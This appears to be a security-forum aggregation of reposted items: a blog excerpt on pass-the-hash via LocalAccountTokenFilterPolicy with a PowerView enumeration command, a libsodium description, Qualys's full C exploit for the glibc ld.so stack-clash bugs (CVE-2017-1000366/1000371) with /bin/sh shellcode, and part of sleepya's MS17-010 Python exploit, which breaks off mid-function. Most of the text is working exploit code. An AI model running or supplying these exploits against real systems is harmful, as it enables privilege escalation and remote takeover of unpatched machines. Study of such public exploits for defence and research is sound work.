while Windows disables the built-in -500 Administrator account by default, it’s still fairly common to see it enabled across enterprises. My original pass-the-hash post covered basic remote enumeration of this information, and this post goes into even more detail. LocalAccountTokenFilterPolicy There’s another silver lining for us attackers, something that has much more defensive implications than we initially realized. Jonathan Renard touched on some of this (as well as Admin Approval Mode) in his “*Puff* *Puff* PSExec” post, but I wanted to expand just a bit in relation to the overall pass-the-hash discussion. If the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy key exists (which doesn’t by default) and is set to 1, then remote connections from all local members of Administrators are granted full high-integrity tokens during negotiation. This means that a non-RID 500 account connections aren’t filtered and can successfully pass-the-hash! So why would you possibly set this registry entry? Googling for the key name will turn up different scenarios where this functions as a workaround, but there’s one frequent violator: Windows Remoting. There is a non-trivial amount of Microsoft documentation that recommends setting LocalAccountTokenFilterPolicy to 1 as a workaround or solution to various issues: “Disabling Remote UAC by changing the registry entry that controls Remote UAC is not recommended, but may be necessary…” “Set-ItemProperty –Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System –Name LocalAccountTokenFilterPolicy –Value 1 –Type DWord” “User Account Control (UAC) affects access to the WinRM service” “…you can use the LocalAccountTokenFilterPolicy registry entry to change the default behavior and allow remote users who are members of the Administrators group to run with Administrator privileges.” “How to disable UAC remote restrictions” In addition, I believe there are some situations where the WinRM quickconfig may even set this key automatically, but I was not able to reliably recreate this scenario. Microsoft’s “Obtaining Data from a Remote Computer” document further details: Because of User Account Control (UAC), the remote account must be a domain account and a member of the remote computer Administrators group. If the account is a local computer member of the Administrators group, then UAC does not allow access to the WinRM service. To access a remote WinRM service in a workgroup, UAC filtering for local accounts must be disabled by creating the following DWORD registry entry and setting its value to 1: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] LocalAccountTokenFilterPolicy. This is bad advice, BAD BAD BAD BAD BAD! I realize that this setting maybe needed to facilitate some specific WinRM deployment scenarios, but once LocalAccountTokenFilterPolicy is set to 1 then ANY local administrator account on a machine can be used to pass-the-hash to the target. I feel that most people, myself included, have not realized the actual security implications of this modification. The only real warning I saw through all of the Microsoft documentation was “Caution: The LocalAccountTokenFilterPolicy entry disables user account control (UAC) remote restrictions for all users of all affected computers. Consider the implications of this setting carefully before changing the policy”. As this setting enables a large amount of risk for an enterprise environment, I hoped for a better set of definitive guidance and warnings from Microsoft beyond “consider the implications”, but ¯\_(ツ)_/¯ Operationally (from an offensive perspective) it’s good to check if your pivot machine has the LocalAccountTokenFilterPolicy key set to 1, as other machines in the same subnet/OU may have the same setting. You can also enumerate Group Policy settings to see if this key is set through GPO, something again that I will cover in a future post. Finally, you can use PowerView to enumerate any Windows 7 and Service 2008 machines with Windows Remoting enabled, hoping that they have run some kind of Windows Remoting setup incorrectly: Get-DomainComputer -LDAPFilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -SPN "wsman*" -Properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl It’s also worth noting that Microsoft’s LAPS effectively renders everything here moot. As LAPS randomizes the local administrator password for machines on a periodic basis, pass-the-hash will effectively still work, but it greatly limits the ability to recover and reuse local key material. This renders traditional PTH attacks (with local accounts at least) largely ineffective. Have fun! Originally published at harmj0y. Sursa: https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167

Da, dar e interesant ca exploit in sine, in scopuri de research.

The Sodium crypto library (libsodium) Sodium is a modern, easy-to-use software library for encryption, decryption, signatures, password hashing and more. It is a portable, cross-compilable, installable, packageable fork of NaCl, with a compatible API, and an extended API to improve usability even further. Its goal is to provide all of the core operations needed to build higher-level cryptographic tools. Sodium supports a variety of compilers and operating systems, including Windows (with MinGW or Visual Studio, x86 and x86_64), iOS and Android. The design choices emphasize security, and "magic constants" have clear rationales. And despite the emphasis on high security, primitives are faster across-the-board than most implementations of the NIST standards. Version 1.0.12 was released on Mar 12, 2017. Downloading libsodium Github repository Tarballs and pre-compiled binaries Documentation Mailing list A mailing-list is available to discuss libsodium. In order to join, just send a random mail to sodium-subscribe {at} pureftpd{dot}org. Offline documentation This documentation can be downloaded as ePUB (for iPad, iPhone, Mac), MOBI (for Kindle) and PDF here: https://www.gitbook.com/book/jedisct1/libsodium/details License ISC license. See the LICENSE file for details. Sursa: https://download.libsodium.org/doc/

/* * Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371 * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <elf.h> #include <fcntl.h> #include <limits.h> #include <link.h> #include <signal.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define PAGESZ ((size_t)4096) #define ALIGN ((size_t)16) #define PIE_BASE ((uintptr_t)0x80000000) #define PIE_RAND ((size_t)1<<20) #define STACK_BASE ((uintptr_t)0xC0000000) #define STACK_RAND ((size_t)8<<20) #define MAX_ARG_STRLEN ((size_t)128<<10) static const struct target * target; static const struct target { const char * name; const char * repl_lib; } targets[] = { { .name = "Debian 9 (stretch)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Debian 10 (buster)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 14.04.5 (Trusty Tahr)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 16.04.2 (Xenial Xerus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Ubuntu 17.04 (Zesty Zapus)", .repl_lib = "lib/i386-linux-gnu", }, { .name = "Fedora 23 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 24 (Server Edition)", .repl_lib = "lib", }, { .name = "Fedora 25 (Server Edition)", .repl_lib = "lib", }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } struct elf_info { uintptr_t map_start, map_end; uintptr_t dyn_start, dyn_end; }; static struct elf_info get_elf_info(const char * const binary) { static struct elf_info elf; const int fd = open(binary, O_RDONLY | O_NOFOLLOW); if (fd <= -1) die(); struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_type != ET_DYN) die(); if (ehdr->e_machine != EM_386) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die(); unsigned int i; { int interp = 0; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type == PT_INTERP) interp = 1; if (phdr->p_type != PT_LOAD) continue; if (elf.map_start) die(); if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr != phdr->p_paddr) die(); if (phdr->p_vaddr >= SAFESZ) die(); if (phdr->p_memsz >= SAFESZ) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_align != PAGESZ) die(); switch (phdr->p_flags) { case PF_R | PF_X: if (phdr->p_vaddr) die(); break; case PF_R | PF_W: elf.map_start = phdr->p_vaddr & ~(PAGESZ-1); elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (!elf.map_start) die(); break; default: die(); } } if (!interp) die(); if (!elf.map_start) die(); } for (i = 0; i < ehdr->e_shnum; i++) { const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i; if (!(shdr->sh_flags & SHF_ALLOC)) continue; if (shdr->sh_size <= 0) die(); if (shdr->sh_size >= SAFESZ) die(); if (shdr->sh_addr >= SAFESZ) die(); #undef SAFESZ const uintptr_t start = shdr->sh_addr; const uintptr_t end = start + shdr->sh_size; if (!(shdr->sh_flags & SHF_WRITE)) { if (start < elf.map_end && end > elf.map_start) die(); continue; } if (start < elf.map_start || end > elf.map_end) die(); if (shdr->sh_type != SHT_DYNAMIC) continue; if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die(); if (elf.dyn_start) die(); elf.dyn_start = start; elf.dyn_end = end; if (!elf.dyn_start) die(); } if (!elf.dyn_start) die(); free(buf); return elf; } static void create_needed_lib(const char * const needed) { static struct lib { union { struct { ElfW(Ehdr) e; ElfW(Phdr) p1; ElfW(Phdr) p2; ElfW(Phdr) p3; } h; char align[PAGESZ]; } u; char code1[PAGESZ]; char code3[PAGESZ]; char code2[8<<20]; } lib = { .u = { .h = { .e = { .e_ident = { ELFMAG0, ELFMAG1, ELFMAG2, ELFMAG3, ELFCLASS32, ELFDATA2LSB, EV_CURRENT, ELFOSABI_SYSV, 0 }, .e_type = ET_DYN, .e_machine = EM_386, .e_version = EV_CURRENT, .e_phoff = offsetof(struct lib, u.h.p1), .e_ehsize = sizeof(ElfW(Ehdr)), .e_phentsize = sizeof(ElfW(Phdr)), .e_phnum = 3 }, .p1 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code1), .p_vaddr = 0, .p_filesz = sizeof(lib.code1), .p_memsz = sizeof(lib.code1), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p2 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code2), .p_vaddr = -(sizeof(lib.code2) + PAGESZ), .p_filesz = sizeof(lib.code2), .p_memsz = sizeof(lib.code2), .p_flags = PF_R | PF_X, .p_align = PAGESZ }, .p3 = { .p_type = PT_LOAD, .p_offset = offsetof(struct lib, code3), .p_vaddr = sizeof(lib.code1), .p_filesz = sizeof(lib.code3), .p_memsz = sizeof(lib.code3), .p_flags = PF_R | PF_X, .p_align = PAGESZ } }}}; static const char shellcode[] = "\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8" "\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00" "\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00" "\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00" "\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00" "\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00" "\x00\x00\x00\xcd\x80"; memset(lib.code2, 0x90, sizeof(lib.code2)); if (sizeof(lib.code2) <= sizeof(shellcode)) die(); memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode)); const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die(); if (fchmod(fd, 0755)) die(); if (close(fd)) die(); } static const char my_x86_platforms[4][5] = { "i386", "i486", "i586", "i686" }; int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, R_OK | X_OK)) die(); const struct elf_info elf = get_elf_info(binary); printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start); printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start); printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start); printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); const size_t platform_len = strlen(platform); if (platform_len != 4) die(); { size_t i; for (i = 0; ; i++) { if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die(); if (strcmp(platform, my_x86_platforms[i]) == 0) break; } } const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = strlen(origin); { size_t i; for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); static struct { double probability; size_t len, gwr, cnt, dst; } best; #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; #define MAX_GWR (sizeof(llp) - sizeof(LLP)) { size_t len; for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) { size_t gwr; for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1); const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1; if (gwr + bwr >= elf.map_end - elf.dyn_start) continue; const size_t min = MIN(gwr, elf.dyn_end - elf.map_start); if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue; const double probability = (double)min / (double)(PIE_RAND + STACK_RAND); if (best.probability < probability) { best.probability = probability; best.len = len; best.gwr = gwr; best.cnt = cnt; best.dst = dst; printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n", len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability); } } } } } if (!best.probability) die(); if (STACK_BASE <= PIE_BASE) die(); const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2); printf("stack_size %zu\n", stack_size); #define STRTAB_SIZE (2 * STACK_RAND) #define NEEDED "./3456789abcdef" if (sizeof(NEEDED) != ALIGN) die(); static union { uintptr_t p; char s[sizeof(void *)]; } strtab_addr; { static const ElfW(Dyn) dyn; if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die(); if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die(); } { uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2; const uintptr_t first_needed_addr = needed_addr; for (;; needed_addr += sizeof(NEEDED)) { if (needed_addr % sizeof(NEEDED)) die(); strtab_addr.p = needed_addr / 2; size_t i; for (i = 0; i < sizeof(strtab_addr.s); i++) { if (strchr("$:;\\", strtab_addr.s[i])) { if (i >= 3) die(); break; } } if (i >= sizeof(strtab_addr.s)) break; } printf("needed %08x -> %08x (first %08x -> %08x)\n", needed_addr, strtab_addr.p, first_needed_addr, needed_addr - first_needed_addr); if (needed_addr < first_needed_addr) die(); if (needed_addr - first_needed_addr >= STACK_RAND / 4) die(); } #define INITIAL_STACK_EXPANSION (131072UL) const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED); if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die(); static char clash[MAX_ARG_STRLEN]; memset(clash, ' ', sizeof(clash)-1); if ((strlen(clash) + 1) % ALIGN) die(); const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED))) / (sizeof(char *) + sizeof(clash)); printf("#needed %zu #clash %zu\n", needed_envs, clash_envs); { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', best.len); const char * const bwrp = cp + best.gwr; cp += elf.dyn_start % ALIGN; if (cp >= bwrp) die(); { static const ElfW(Dyn) dyn; for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) { ElfW(Dyn) * const dynp = (void *)cp; dynp->d_tag = DT_AUXILIARY; dynp->d_un.d_ptr = strtab_addr.p; } } if (cp > bwrp) die(); cp = (char *)bwrp; if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); size_t i; for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if ((strlen(llp) + 1) % ALIGN) die(); if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; { const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN; if (width <= 0) die(); if ((unsigned int)width > ALIGN) die(); if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0) >= sizeof(lhcm)) die(); if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die(); } const size_t args = 2 + clash_envs + needed_envs + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; *ap++ = "--help"; size_t i; for (i = 0; i < clash_envs; i++) { *ap++ = clash; } for (i = 0; i < needed_envs; i++) { *ap++ = NEEDED; } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 1 + 2; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; *ep++ = NULL; if (ep != envp + envs) die(); } { static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); create_needed_lib(NEEDED); size_t try; for (try = 1; try <= 65536; try++) { if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); } Sursa: https://www.exploit-db.com/exploits/42276/

#!/usr/bin/python from impacket import smb, smbconnection from mysmb import MYSMB from struct import pack, unpack, unpack_from import sys import socket import time ''' MS17-010 exploit for Windows 7+ by sleepya Note: - The exploit should never crash a target (chance should be nearly 0%) - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed Tested on: - Windows 2016 x64 - Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 ''' USERNAME = '' PASSWORD = '' ''' Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; PACCESS_TOKEN Token; // 0x08 DWORD xx2; BOOLEAN CopyOnOpen; // 0x14 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x18 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x20 } win2012 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; QWORD xx2; QWORD xx3; PACCESS_TOKEN Token; // 0x18 DWORD xx4; BOOLEAN CopyOnOpen; // 0x24 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x28 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x30 } SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. Note: fake Token might be possible, but NULL token is much easier. ''' WIN7_INFO = { 'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_ISNULL_OFFSET': 0xba, 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x28, } WIN7_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x80, 'SESSION_ISNULL_OFFSET': 0x96, 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x1c, } # win8+ info WIN8_INFO = { 'SESSION_SECCTX_OFFSET': 0xb0, 'SESSION_ISNULL_OFFSET': 0xca, 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x38, } WIN8_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x88, 'SESSION_ISNULL_OFFSET': 0x9e, 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x24, } X86_INFO = { 'PTR_SIZE' : 4, 'PTR_FMT' : 'I', 'FRAG_TAG_OFFSET' : 12, 'POOL_ALIGN' : 8, 'SRV_BUFHDR_SIZE' : 8, 'TRANS_SIZE' : 0xa0, # struct size 'TRANS_FLINK_OFFSET' : 0x18, 'TRANS_INPARAM_OFFSET' : 0x40, 'TRANS_OUTPARAM_OFFSET' : 0x44, 'TRANS_INDATA_OFFSET' : 0x48, 'TRANS_OUTDATA_OFFSET' : 0x4c, 'TRANS_FUNCTION_OFFSET' : 0x72, 'TRANS_MID_OFFSET' : 0x80, } X64_INFO = { 'PTR_SIZE' : 8, 'PTR_FMT' : 'Q', 'FRAG_TAG_OFFSET' : 0x14, 'POOL_ALIGN' : 0x10, 'SRV_BUFHDR_SIZE' : 0x10, 'TRANS_SIZE' : 0xf8, # struct size 'TRANS_FLINK_OFFSET' : 0x28, 'TRANS_INPARAM_OFFSET' : 0x70, 'TRANS_OUTPARAM_OFFSET' : 0x78, 'TRANS_INDATA_OFFSET' : 0x80, 'TRANS_OUTDATA_OFFSET' : 0x88, 'TRANS_FUNCTION_OFFSET' : 0xb2, 'TRANS_MID_OFFSET' : 0xc0, } def wait_for_request_processed(conn): #time.sleep(0.05) # send echo is faster than sleep(0.05) when connection is very good conn.send_echo('a') special_mid = 0 extra_last_mid = 0 def reset_extra_mid(conn): global extra_last_mid, special_mid special_mid = (conn.next_mid() & 0xff00) - 0x100 extra_last_mid = special_mid def next_extra_mid(): global extra_last_mid extra_last_mid += 1 return extra_last_mid # Borrow 'groom' and 'bride' word from NSA tool # GROOM_TRANS_SIZE includes transaction name, parameters and data GROOM_TRANS_SIZE = 0x5010 def calc_alloc_size(size, align_size): return (size + align_size - 1) & ~(align_size-1) def leak_frag_size(conn, tid, fid, info): # A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # To make exploit more generic, exploit does info leak to find a "Frag" pool size. # From the leak info, we can determine the target architecture too. mid = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4) req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2) leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 32 bit') if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN7_32_INFO) elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN8_32_INFO) else: print('The exploit does not support this 32 bit target') sys.exit() info.update(X86_INFO) elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 64 bit') info.update(X64_INFO) else: print('Not found Frag pool tag in leak data') sys.exit() # Calculate frag pool size info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN'] print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) # groom: srv buffer header info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN']) print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) # groom paramters and data is alignment by 8 because it is NT_TRANS info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4) # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN']) print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) # bride paramters and data is alignment by 4 because it is TRANS info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4) return info['FRAG_POOL_SIZE'] def align_transaction_and_leak(conn, tid, fid, info, numFill=4): trans_param = pack('<HH', fid, 0) # param for NT_RENAME # fill large pagedpool holes (maybe no need) for i in range(numFill): conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) mid_ntrename = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0) req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000) reqs = [] for i in range(12): mid = next_extra_mid() reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0)) conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2+req3+''.join(reqs)) # expected transactions alignment ("Frag" pool is not shown) # # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE 